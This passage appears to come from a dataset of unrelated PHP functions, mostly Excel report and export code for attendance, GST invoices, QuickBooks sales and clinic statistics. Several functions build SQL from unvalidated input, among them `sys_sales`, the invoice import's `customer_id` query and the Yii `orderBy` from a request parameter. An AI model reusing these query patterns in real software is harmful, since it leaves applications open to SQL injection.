set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public function actionOutputStatistical()\n {\n\t\tset_time_limit(0);\n $searchModel = new AttendanceCheckinReportsSearch();\n $dataProvider = $searchModel->statistictalSearch(Yii::$app->request->queryParams);\n\t\t \n\t\t$sort = Yii::$app->request->queryParams['sort']?Yii::$app->request->queryParams['sort']:'signdate';\n\t\t\n\t\tif($sort{0}==\"-\"){\n\t\t\t$orderBy = substr($sort,1).\" desc\";\n\t\t}else{\n\t\t\t$orderBy = \" {$sort} ASC\";\n\t\t}\n\t\t$result = $dataProvider->query->orderBy($orderBy)->asArray()->all();\n $arr = []; \n foreach($result as $r) {\n $arr[] = $r;\n }\n\t\t$header = [\n 'year' => '年', \n 'month' => '月', \n 'personnel_id' => '员工ID', \n 'username' => '员工姓名', \n 'overtime' => '当月加班时长(计算)', \n 'overtime_valid' => '当月加班时长(有效)', \n ];\n\t\t$columns = array_keys($header);\n \\moonland\\phpexcel\\Excel::export([\n 'isMultipleSheet' => true,\n\t\t\t'models' => [\n\t\t\t\t'考勤统计' => $arr, \n\t\t\t],\n\t\t\t'columns' => [\n\t\t\t\t'考勤统计' => $columns,\n\t\t\t], \n\t\t\t'headers' => [\n\t\t\t\t'考勤统计' => $header, \n\t\t\t],\n ]);\n }", "public function excel()\n {\n Excel::create('ReporteExcel', function($excel) {\n $excel->sheet('EdadGenero', function($sheet) {\n $usersinfo = User::select(DB::raw(\"users.cc as Cedula_Ciudadania, users.lastname as Apellidos, users.name as Nombres, users.email as Email, users.cellphone as Celular, users.department as DepartamentoNac, users.city as CiudadNac, users.created_at as FechaRegistro\"))->get();\n $sheet->fromArray($usersinfo);\n });\n })->export('xls');\n\n }", "function PMA_exportData($db, $table, $crlf, $error_url, $sql_query) {\n global $workbook;\n global $sheet_index;\n \n /**\n * Get the data from the database using the original query\n */\n $result = PMA_DBI_fetch_result($sql_query);\n $row_cnt = count($result);\n \n if ($row_cnt > 0) {\n $col_names = array_keys($result[0]);\n $fields_cnt = count($result[0]);\n $row_offset = 1;\n \n /* Only one sheet is created on workbook initialization */\n if ($sheet_index > 0) {\n $workbook->createSheet();\n }\n \n $workbook->setActiveSheetIndex($sheet_index);\n $workbook->getActiveSheet()->setTitle(substr($table, 0, 31));\n \n if (isset($GLOBALS['xlsx_columns']) && $GLOBALS['xlsx_columns']) {\n for ($i = 0; $i < $fields_cnt; ++$i) {\n $workbook->getActiveSheet()->setCellValueByColumnAndRow($i, $row_offset, $col_names[$i]);\n }\n $row_offset++;\n }\n \n for ($r = 0; ($r < 65536) && ($r < $row_cnt); ++$r) {\n for ($c = 0; $c < $fields_cnt; ++$c) {\n if (!isset($result[$r][$col_names[$c]]) || is_null($result[$r][$col_names[$c]])) {\n $workbook->getActiveSheet()->setCellValueByColumnAndRow($c, ($r + $row_offset), $GLOBALS['xlsx_null']);\n } elseif ($result[$r][$col_names[$c]] == '0' || $result[$r][$col_names[$c]] != '') {\n /**\n * @todo we should somehow handle character set here!\n */\n $workbook->getActiveSheet()->setCellValueByColumnAndRow($c, ($r + $row_offset), $result[$r][$col_names[$c]]);\n } else {\n $workbook->getActiveSheet()->setCellValueByColumnAndRow($c, ($r + $row_offset), '');\n }\n }\n }\n \n $sheet_index++;\n }\n \n return TRUE;\n}", "public function invoice_ammend_summary_function($path6, $invoice_ammend) {\n $object = PHPExcel_IOFactory::load($path6);\n $worksheet = $object->getActiveSheet();\n $highestRow = $worksheet->getHighestRow();\n $highestColumn = $worksheet->getHighestColumn();\n $customer_id = $this->input->post(\"cust_id\");\n $insert_id = $this->generate_insert_id();\n $customer_file_years = $this->input->post('customer_file_years');\n $original_month = array();\n $include_month = array();\n $amendment_month = array();\n $category = array();\n $gstin_arr = array();\n $invoice_date = array();\n $invoice_no = array();\n $name = array();\n $invoice_value = array();\n $taxable_value = array();\n $igst = array();\n $cgst = array();\n $sgst = array();\n $cess = array();\n $abc2 = $object->getActiveSheet()->getCell('A' . 3)->getValue();\n $x = filter_var($abc2, FILTER_SANITIZE_NUMBER_INT);\n $a1 = chunk_split($x, 4, \"-\");\n $a2 = rtrim($a1, '-');\n// exit;\n if ($customer_file_years == \"\") {\n $response['id'] = 'customer_file_years';\n $response['error'] = 'Please Select year';\n echo json_encode($response);\n exit;\n } else if ($customer_file_years == $a2) {\n for ($i = 0; $i <= $highestRow; $i++) {\n if ($object->getActiveSheet()->getCell(\"B\" . $i)->getValue() == \"Original Month\") { //get records of origial month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $og_mon = $object->getActiveSheet()->getCell(\"B\" . $j)->getValue();\n $original_month[] = $og_mon;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"C\" . $i)->getValue() == \"Include in month\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $show_mon = $object->getActiveSheet()->getCell(\"C\" . $j)->getValue();\n $include_month[] = $show_mon;\n }\n } else {\n \n } if ($object->getActiveSheet()->getCell(\"D\" . $i)->getValue() == \"Amendment in month\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $amend_mon = $object->getActiveSheet()->getCell(\"D\" . $j)->getValue();\n $amendment_month[] = $amend_mon;\n }\n } else {\n \n }\n\n if ($object->getActiveSheet()->getCell(\"E\" . $i)->getValue() == \"Category\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cat = $object->getActiveSheet()->getCell(\"E\" . $j)->getValue();\n $category[] = $cat;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"F\" . $i)->getValue() == \"GSTIN\") { //get records of GSTIN\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $gstin = $object->getActiveSheet()->getCell(\"F\" . $j)->getValue();\n $gstin_arr[] = $gstin;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"G\" . $i)->getValue() == \"Invoice Date\") { //get records of Invoice Date\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoiceDate = $object->getActiveSheet()->getCell(\"G\" . $j)->getValue();\n $invoice_date[] = $invoiceDate;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"H\" . $i)->getValue() == \"Invoice No\") { //get records of Invoice No\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoiceno = $object->getActiveSheet()->getCell(\"H\" . $j)->getValue();\n $invoice_no[] = $invoiceno;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"I\" . $i)->getValue() == \"Name\") { //get records of Names\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $names = $object->getActiveSheet()->getCell(\"I\" . $j)->getValue();\n $name[] = $names;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"J\" . $i)->getValue() == \"Invoice Value \") { //get records of Invoice Value \n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoice_val = $object->getActiveSheet()->getCell(\"J\" . $j)->getValue();\n $invoice_value[] = $invoice_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"K\" . $i)->getValue() == \"Taxable Value\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $tax_val = $object->getActiveSheet()->getCell(\"K\" . $j)->getValue();\n $taxable_value[] = $tax_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"L\" . $i)->getValue() == \"IGST\") { //get records of IGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $igst_val = $object->getActiveSheet()->getCell(\"L\" . $j)->getValue();\n $igst[] = $igst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"M\" . $i)->getValue() == \"CGST\") { //get records of CGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cgst_val = $object->getActiveSheet()->getCell(\"M\" . $j)->getValue();\n $cgst[] = $cgst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"N\" . $i)->getValue() == \"SGST\") { //get records of SGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $sgst_val = $object->getActiveSheet()->getCell(\"N\" . $j)->getValue();\n $sgst[] = $sgst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"O\" . $i)->getValue() == \"CESS\") { //get records of SGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cess_val = $object->getActiveSheet()->getCell(\"O\" . $j)->getValue();\n $cess[] = $cess_val;\n }\n } else {\n \n }\n }\n } else {\n $response['id'] = 'file_ex_invoice_amend';\n $response['error'] = 'Year is mismatch with file.Please choose correct.';\n echo json_encode($response);\n exit;\n }\n\n\n $count = count($original_month);\n $query = $this->db2->query(\"SELECT * FROM `invoices_amended_summary_all` where customer_id='$customer_id'\");\n if ($this->db2->affected_rows() > 0) {\n $monthly_history = $this->insert_invoice_ammend_summary_history($customer_id);\n if ($monthly_history == true) {\n for ($k = 0; $k < $count; $k++) {\n\n if ($original_month[$k] == \"\") {\n $original_month[$k] = \"0\";\n }\n if ($include_month[$k] == \"\") {\n $include_month[$k] = \"0\";\n }\n if ($amendment_month[$k] == \"\") {\n $amendment_month[$k] = \"0\";\n }\n if ($category[$k] == \"\") {\n $category[$k] = \"0\";\n }\n if ($gstin_arr[$k] == \"\") {\n $gstin_arr[$k] = \"0\";\n }\n if ($invoice_date[$k] == \"\") {\n $invoice_date[$k] = \"0\";\n }\n if ($invoice_no[$k] == \"\") {\n $invoice_no[$k] = \"0\";\n }\n if ($name[$k] == \"\") {\n $name[$k] = \"Not Given\";\n }\n if ($invoice_value[$k] == \"\") {\n $invoice_value[$k] = \"0\";\n }\n if ($taxable_value[$k] == \"\") {\n $taxable_value[$k] = \"0\";\n }\n if ($igst[$k] == \"\") {\n $igst[$k] = \"0\";\n }\n if ($cgst[$k] == \"\") {\n $cgst[$k] = \"0\";\n }\n if ($sgst[$k] == \"\") {\n $sgst[$k] = \"0\";\n }\n if ($cess[$k] == \"\") {\n $cess[$k] = \"0\";\n }\n\n $query = (\"insert into invoices_amended_summary_all (`customer_id`,`insert_id`,`original_month`,`included_in_month`,`amendment_month`,\"\n . \"`category`,`gstin_no`,`invoice_date`,`invoice_no`,`name`,`invoice_value`,`taxable_value`,`igst`,`cgst`,`sgst`,`cess`)\"\n . \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?,?)\");\n $this->db2->query($query, array($customer_id, $insert_id, $original_month[$k], $include_month[$k], $amendment_month[$k], $category[$k], $gstin_arr[$k],\n $invoice_date[$k], $invoice_no[$k], $name[$k], $invoice_value[$k], $taxable_value[$k], $igst[$k], $cgst[$k], $sgst[$k], $cess[$k]));\n if ($this->db2->affected_rows() > 0) {\n $invoice_ammend++;\n }\n }\n }\n } else {\n for ($k = 0; $k < $count; $k++) {\n\n if ($original_month[$k] == \"\") {\n $original_month[$k] = \"0\";\n }\n if ($include_month[$k] == \"\") {\n $include_month[$k] = \"0\";\n }\n if ($amendment_month[$k] == \"\") {\n $amendment_month[$k] = \"0\";\n }\n if ($category[$k] == \"\") {\n $category[$k] = \"0\";\n }\n if ($gstin_arr[$k] == \"\") {\n $gstin_arr[$k] = \"0\";\n }\n if ($invoice_date[$k] == \"\") {\n $invoice_date[$k] = \"0\";\n }\n if ($invoice_no[$k] == \"\") {\n $invoice_no[$k] = \"0\";\n }\n if ($name[$k] == \"\") {\n $name[$k] = \"Not Given\";\n }\n if ($invoice_value[$k] == \"\") {\n $invoice_value[$k] = \"0\";\n }\n if ($taxable_value[$k] == \"\") {\n $taxable_value[$k] = \"0\";\n }\n if ($igst[$k] == \"\") {\n $igst[$k] = \"0\";\n }\n if ($cgst[$k] == \"\") {\n $cgst[$k] = \"0\";\n }\n if ($sgst[$k] == \"\") {\n $sgst[$k] = \"0\";\n }\n if ($cess[$k] == \"\") {\n $cess[$k] = \"0\";\n }\n\n $query = (\"insert into invoices_amended_summary_all (`customer_id`,`insert_id`,`original_month`,`included_in_month`,`amendment_month`,\"\n . \"`category`,`gstin_no`,`invoice_date`,`invoice_no`,`name`,`invoice_value`,`taxable_value`,`igst`,`cgst`,`sgst`,`cess`)\"\n . \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?,?)\");\n $this->db2->query($query, array($customer_id, $insert_id, $original_month[$k], $include_month[$k], $amendment_month[$k], $category[$k], $gstin_arr[$k],\n $invoice_date[$k], $invoice_no[$k], $name[$k], $invoice_value[$k], $taxable_value[$k], $igst[$k], $cgst[$k], $sgst[$k], $cess[$k]));\n if ($this->db2->affected_rows() > 0) {\n $invoice_ammend++;\n }\n }\n }\n return $invoice_ammend;\n }", "public function generalDataSummary()\n {\n $doctorsCount = Doctor::count();\n $patientsCount = Patient::count();\n $monthlyIncome = \"Rs.\" . number_format(Income::where('date', 'like', Carbon::now()->format('Y-m-') . \"%\")->sum('amount'), 2);\n $monthlyAppointments = Appointment::where('date', 'like', Carbon::now()->format('Y-m-') . \"%\")->count();\n return ResponseHelper::findSuccess('General Data Summary', [\n \"doctors_count\" => $doctorsCount,\n \"patients_count\" => $patientsCount,\n \"monthly_income\" => $monthlyIncome,\n \"monthly_appointments\" => $monthlyAppointments\n ]);\n }", "public function generateReport()\n {\n\t\t$this->_lastColumn=$this->objWorksheet->getHighestColumn();//TODO: better detection\n\t\t$this->_lastRow=$this->objWorksheet->getHighestRow();\n foreach($this->_data as $data)\n\t\t{\n\t\t\tif(isset ($data['repeat']) && $data['repeat']==true)\n\t\t\t{\n\t\t\t\t//Repeating data\n\t\t\t\t$foundTags=false;\n\t\t\t\t$repeatRange='';\n\t\t\t\t$firstRow='';\n\t\t\t\t$lastRow='';\n\n\t\t\t\t$firstCol='A';//TODO: better detection\n\t\t\t\t$lastCol=$this->_lastColumn;\n\n\t\t\t\t//scan the template\n\t\t\t\t//search for repeating part\n\t\t\t\tforeach ($this->objWorksheet->getRowIterator() as $row)\n\t\t\t\t{\n\t\t\t\t\t$cellIterator = $row->getCellIterator();\n\t\t\t\t\t$rowIndex = $row->getRowIndex();\n\t\t\t\t\t//find the repeating range (one or more rows)\n\t\t\t\t\tforeach ($cellIterator as $cell)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cellval=trim($cell->getValue());\n\t\t\t\t\t\t$column = $cell->getColumn();\n\t\t\t\t\t\t//see if the cell has something for replacing\n\t\t\t\t\t\tif(preg_match_all(\"/\\{\".$data['id'].\":(\\w*|#\\+?-?(\\d*)?)\\}/\", $cellval, $matches))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//this cell has replacement tags\n\t\t\t\t\t\t\tif(!$foundTags) $foundTags=true;\n\t\t\t\t\t\t\t//remember the first ant the last row\n\t\t\t\t\t\t\tif($rowIndex!=$firstRow)\n\t\t\t\t\t\t\t\t$lastRow=$rowIndex;\n\t\t\t\t\t\t\tif($firstRow=='')\n\t\t\t\t\t\t\t\t$firstRow=$rowIndex;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//form the repeating range\n\t\t\t\tif($foundTags)\n\t\t\t\t\t$repeatRange=$firstCol.$firstRow.\":\".$lastCol.$lastRow;\n\n\t\t\t\t//check if this is the last row\n\t\t\t\tif($foundTags && $lastRow==$this->_lastRow)\n\t\t\t\t\t$data['last']=true;\n\n\t\t\t\t//set initial format data\n\t\t\t\tif(! isset($data['format']))\n\t\t\t\t\t$data['format']=array();\n\n\t\t\t\t//set default step as 1\n\t\t\t\tif(! isset($data['step']))\n\t\t\t\t\t$data['step']=1;\n\n\t\t\t\t//check if data is an array\n\t\t\t\tif(is_array($data['data']))\n\t\t\t\t{\n\t\t\t\t\t//every element is an array with data for all the columns\n\t\t\t\t\tif($foundTags)\n\t\t\t\t\t{\n\t\t\t\t\t\t//insert repeating rows, as many as needed\n\t\t\t\t\t\t//check if grouping is defined\n\t\t\t\t\t\tif(count($this->_group))\n\t\t\t\t\t\t\t$this->generateRepeatingRowsWithGrouping($data, $repeatRange);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$this->generateRepeatingRows($data, $repeatRange);\n\t\t\t\t\t\t//remove the template rows\n\t\t\t\t\t\tfor($i=$firstRow;$i<=$lastRow;$i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->objWorksheet->removeRow($firstRow);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//if there is no data\n\t\t\t\t\t\tif(count($data['data'])==0)\n\t\t\t\t\t\t\t$this->addNoResultRow($firstRow,$firstCol,$lastCol);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t //TODO\n\t\t\t\t //maybe an SQL query?\n\t\t\t\t //needs to be database agnostic\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//non-repeating data\n\t\t\t\t//check for additional formating\n\t\t\t\tif(! isset($data['format']))\n\t\t\t\t\t$data['format']=array();\n\n\t\t\t\t//check if data is an array or mybe a SQL query\n\t\t\t\tif(is_array($data['data']))\n\t\t\t\t{\n\t\t\t\t\t//array of data\n\t\t\t\t\t$this->generateSingleRow($data);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//TODO\n\t\t\t\t //maybe an SQL query?\n\t\t\t\t //needs to be database agnostic\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //call the replacing function\n $this->searchAndReplace();\n\n //generate heading if heading text is set\n if($this->_headingText!='')\n $this->generateHeading();\n\n }", "function sys_sales($oConnect, $link, $startDate, $endDate,&$sys_log) {\n $sSQL = \"sp_report SalesByItemDetail show Text, Blank, TxnType, Date, Memo, Name, Quantity, UnitPrice, Amount parameters DateFrom = {d'$startDate'}, DateTo= {d'$endDate'}\";\n // Perform the query\n $oResult = odbc_exec($oConnect, $sSQL);\n $keys = array(\"Type\", \"FullName\", \"Description\", \"TxnType\", \"Date\", \"Memo\", \"Name\", \"Quantity\", \"UnitPrice\", \"Amount\");\n $lFieldCount = odbc_num_fields($oResult);\n $rows = array();\n //print_r($keys.\"<br>\");\n while ($myRow = odbc_fetch_array($oResult)) {\n $rows[] = $myRow;\n }\n $values = array();\n $Type = \"\";\n $FullName = \"\";\n $NewFullName = \"\";\n $Description = \"\";\n if (count($rows) > 0) {\n // do delete then add\n $resUpdate = mysqli_query($link, \"delete from r_salesbyitemdetail WHERE date>= '$startDate' \");\n //print (\"delete from r_salesbyitemdetail WHERE date>= '$startDate'\");\n if ($resUpdate) {\n $items = 0;\n for ($i = 0;$i < count($rows);++$i) {\n $values = array();\n $l1_parentCount = 0;\n $l2_parentCount = 0;\n $l3_parentCount = 0;\n // print $rows[$i]['Text'];\n //if ($rows[$i]['Text'] == \"\" && $rows[$i]['Blank'] == \"\" && $rows[$i]['Amount'] != \"\")\n if ($rows[$i]['UnitPrice'] != \"\") {\n if ($i >= 3) {\n if ($rows[$i - 1]['Text'] != \"\" && $rows[$i - 1]['Amount'] == \"\") {\n $Description = $rows[$i - 1]['Text'];\n if ($rows[$i - 2]['Text'] != \"\" && $rows[$i - 2]['Amount'] == \"\") {\n $FullName = $rows[$i - 2]['Text'];\n if ($rows[$i - 3]['Text'] != \"\" && $rows[$i - 3]['Amount'] == \"\") {\n $Type = $rows[$i - 3]['Text'];\n }\n }\n }\n }\n if (strpos($Description, '(') !== false) {\n $newDescription = preg_replace(\"/\\([^)]+\\)/\", \"\", $Description);\n $NewFullName = $FullName . ':' . $newDescription;\n $splitArr = explode(\"(\", $Description);\n $newDescription2 = str_replace(\")\", \"\", $splitArr[1]);\n } else {\n $NewFullName = $FullName . ':' . $Description;\n $newDescription2 = $Description;\n }\n array_push($values, $Type);\n array_push($values, $NewFullName);\n //array_push($values, addslashes($Description));\n array_push($values, addslashes($newDescription2));\n array_push($values, $rows[$i]['TxnType']);\n array_push($values, $rows[$i]['Date']);\n array_push($values, addslashes($rows[$i]['Memo']));\n array_push($values, $rows[$i]['Name']);\n array_push($values, $rows[$i]['Quantity']);\n array_push($values, $rows[$i]['UnitPrice']);\n array_push($values, $rows[$i]['Amount']);\n //print $Type . \"**:***\" . $FullName . \"***:***\" . $Description . \"*************\".$rows[$i]['TxnType'] . \" - \" . $rows[$i]['Date'] . \" - \" . $rows[$i]['Memo'] . \" - \" . $rows[$i]['Name'] . \" - \" . $rows[$i]['Quantity'] . \" - \" . $rows[$i]['UnitPrice'] . \" - \" . $rows[$i]['Amount'] . \"<br />\";\n //print_r($values.\"<br>\");\n $resInsert = mysqli_query($link, \"INSERT INTO r_salesbyitemdetail (\" . implode(\", \", $keys) . \") VALUES ('\" . implode(\"', '\", $values) . \"');\"); // insert one row into new table\n if ($resInsert) {\n //print (\"r_salesbyitemdetail--Insert2 :Success<br>\");\n \n } else {\n print (\"r_salesbyitemdetail--INSERT INTO r_salesbyitemdetail (\" . implode(\", \", $keys) . \") VALUES ('\" . implode(\"', '\", $values) . \"')<br>\");\n }\n $items++;\n }\n }\n } else {\n print (\"delete failed!<br>\");\n }\n }\n odbc_free_result($oResult);\n\t$sys_log .=\"total No. of SalesByItemDetail: $items \\r\\n\";\n\t\n\t\n echo \"<br>total No. of SalesByItemDetail: $items\";\n\t//$arr['SalesByItemDetail'] = \"total No. of SalesByItemDetail: $items\";\n\t\n}", "public function exportData(): void\n\t{\n\t\t$entries = [];\n\t\tif (!$this->exportColumns && $this->quickExport && $this->queryOptions['viewname']) {\n\t\t\t[$headers, $entries] = $this->getEntriesForQuickExport();\n\t\t} else {\n\t\t\t[$headers, $entries] = $this->getEntriesExport();\n\t\t}\n\t\t$this->output($headers, $entries);\n\t}", "function indexSuperficie1 () {\n\n $node_id = $this->input->post('node_id');\n\n $this->load->library('PHPExcel');\n $sheet = $this->phpexcel->setActiveSheetIndex(0);\n\n $sheet->setTitle('Reporte');\n $node = Doctrine_Core::getTable('Node')->find($node_id);\n\n $q = Doctrine_Query :: create ()\n ->select('n.node_id, nt.node_type_name, ' .\n 'iodo2.infra_other_data_option_name, SUM(infra_info_usable_area) as total_usable_area, ' .\n 'COUNT(n.node_id) as quantity_node')\n ->from('Node n')\n ->innerJoin('n.NodeType nt')\n ->innerJoin('n.InfraInfo ii')\n ->innerJoin('n.InfraOtherDataValue iodv2')\n ->innerJoin('iodv2.InfraOtherDataOption iodo2')\n ->where('node_parent_id = ?', $node->node_parent_id)\n ->andWhere('n.lft > ?', $node->lft)\n ->andWhere('n.rgt < ?', $node->rgt)\n ->andWhere('iodv2.infra_other_data_attribute_id = ?', 16)\n ->andWhereIn('iodv2.infra_other_data_option_id', array(453, 305, 454, 455, 456, 313, 329, 316))\n ->groupBy('iodv2.infra_other_data_option_id, n.node_type_id')\n ->orderBy('iodo2.infra_other_data_option_name, node_type_name');\n\n $results = $q->execute(array(), Doctrine_Core::HYDRATE_SCALAR);\n\n // titulos\n $sheet->setCellValue('A1', $this->translateTag('General', 'faculty'));\n $sheet->setCellValue('B1', $this->translateTag('General', 'enclosure_type'));\n $sheet->setCellValue('C1', $this->translateTag('General', 'quantity'));\n $sheet->setCellValue('D1', $this->translateTag('Infrastructure', 'living_area'));\n\n $rcont = 1;\n foreach ($results as $resutl) {\n\n $rcont++;\n $sheet->setCellValue('A' . $rcont, $resutl['iodo2_infra_other_data_option_name']);\n $sheet->setCellValue('B' . $rcont, $resutl['nt_node_type_name']);\n $sheet->setCellValue('C' . $rcont, $resutl['n_quantity_node']);\n $sheet->setCellValue('D' . $rcont, $resutl['n_total_usable_area']);\n\n }\n\n $sheet->getColumnDimension('A')->setAutoSize(true);\n $sheet->getColumnDimension('B')->setAutoSize(true);\n $sheet->getColumnDimension('C')->setAutoSize(true);\n $sheet->getColumnDimension('D')->setAutoSize(true);\n\n $sheet->getStyle('A1:D1')->getFont()->applyFromArray(array(\n 'bold' => true\n ));\n\n $sheet->getStyle('A1:D1')->getFill()->applyFromArray(array(\n 'type' => PHPExcel_Style_Fill :: FILL_SOLID ,\n 'color' => array (\n 'rgb' => 'd9e5f4'\n )\n ));\n\n $sheet->getStyle('A1:D' . $rcont)->getBorders()->applyFromArray(array(\n 'allborders' => array (\n 'style' => PHPExcel_Style_Border :: BORDER_THIN ,\n 'color' => array (\n 'rgb' => '808080'\n )\n )\n ));\n\n $objWriter = PHPExcel_IOFactory :: createWriter($this->phpexcel, 'Excel5');\n $objWriter->save ( $this->app->getTempFileDir($this->input->post('file_name') . '.xls'));\n echo '{\"success\": true, \"file\": \"' . $this->input->post ( 'file_name' ) . '.xls\"}';\n\n }", "function pnh_employee_sales_summary()\r\n\t{\r\n\t\t$this->erpm->auth(true);\r\n\t\t$data['page']='pnh_employee_sales_summary';\r\n\t\t$this->load->view(\"admin\",$data);\r\n\t}", "public function passRules(){\n\t\t\n\t\t$data = array();\n\t\t//Query for get total pass\n\t\t$query = \"select fb_id,fb_name,image,c_date from tb_pass order by c_date desc\";\n\t\t$result = $this->db->query( $query );\n\t\t$data['list_report'] = $result->result_array();\n\t\t\n\t\t\n\t\t//load our new PHPExcel library\n\t\t$this->load->library('excel');\n\t\t//activate worksheet number 1\n\t\t$this->excel->setActiveSheetIndex(0);\n\t\t//name the worksheet\n\t\t$this->excel->getActiveSheet()->setTitle('General Report');\n\t\t//set cell A1 content with some text\n\t\t$i = 1 ;\n\t\t$num = 2 ;\n\t\t$this->excel->getActiveSheet()->setCellValue('A1','Number');\n\t\t$this->excel->getActiveSheet()->setCellValue('B1','FB Id');\n\t\t$this->excel->getActiveSheet()->setCellValue('C1','FB Name');\n\t\t$this->excel->getActiveSheet()->setCellValue('D1','Image');\n\t\t$this->excel->getActiveSheet()->setCellValue('E1','Assign Date');\n\t\t\n\t\tforeach( $data['list_report'] as $report ){\n\t\t\t\n\t\t\t$this->excel->getActiveSheet()->setCellValue('A'.$num,$i);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('B'.$num,$report['fb_id'] );\n\t\t\t$this->excel->getActiveSheet()->setCellValue('C'.$num,$report['fb_name']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('D'.$num,$report['image']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('E'.$num,$report['c_date']);\n\t\t\t\n\t\t\t$num++;\n\t\t\t$i++;\n\t\t}\n\t\t \n\t\t$filename = $this->createFilename( 'Pass-rules' ); //save our workbook as this file name\n\t\theader('Content-Type: application/vnd.ms-excel;charset=tis-620\"'); //mime type\n\t\theader('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\n\t\theader('Cache-Control: max-age=0'); //no cache\n\t\t\t\t\t\n\t\t//save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n\t\t//if you want to save it as .XLSX Excel 2007 format\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \n\t\t//force user to download the Excel file without writing it to server's HD\n\t\t$objWriter->save('php://output');\n\t\t\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function getSumColRpt(){return 